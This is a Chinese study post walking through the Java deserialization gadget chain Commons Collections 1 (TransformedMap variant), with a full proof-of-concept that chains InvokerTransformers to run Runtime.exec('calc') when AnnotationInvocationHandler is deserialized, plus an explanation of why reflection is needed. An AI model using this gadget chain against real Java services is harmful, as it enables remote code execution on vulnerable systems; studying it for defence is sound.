java反序列化CC1-2

  1. 1. sun.reflect.annotation.AnnotationInvocationHandler
  2. 2. 关于反射的问题
  3. 3. 总结

上一篇命令执行是我们手动触发的put方法进行添加新元素,那么真正的反序列化poc呢?
看看p神给的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

不过这个poc我本地算是弹失败了,因为java版本的原因,在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用。我的版本正好是8u71。
不过我来学习思路,也懒的改版本了。

sun.reflect.annotation.AnnotationInvocationHandler

触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素。在demo中,我们可 以手工执行 outerMap.put(“test”, “xxxx”); 来触发漏洞,但在实际反序列化时,我们需要找到一个 类,它在反序列化的readObject逻辑里有类似的写入操作。
这个类就是 sun.reflect.annotation.AnnotationInvocationHandler
源码就不放了,逻辑就是调用了setValue方法,这个方法也能触发TransformedMap里注册的
Transform。

关于反射的问题

看到前面我们生产Runtime类的时候是直接调用getRuntime方法的
[

但这次的poc不一样,是利用反射调用的

这里涉及到反序列化的条件。
1、该类必须直接实现java.io.Serializable接口或者间接从其继承树中实现该接口(也就是他的某个父类实现了这个接口);
2、对于该类的所有无法序列化的属性(本文指字段field, 而不是严格意义上的属性property, 下同)必须使用transient修饰。

但Runtime类是没有实现java.io.Serializable接口的,所以不能直接反序列化,但反射能解决这个问题,将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。

但是AnnotationInvocationHandler 也不能直接实例化,仍然需要利用反射的机制

总结

真累,接下来是CC1的LazyMap,比起TransformedMap似乎LazyMap用的更多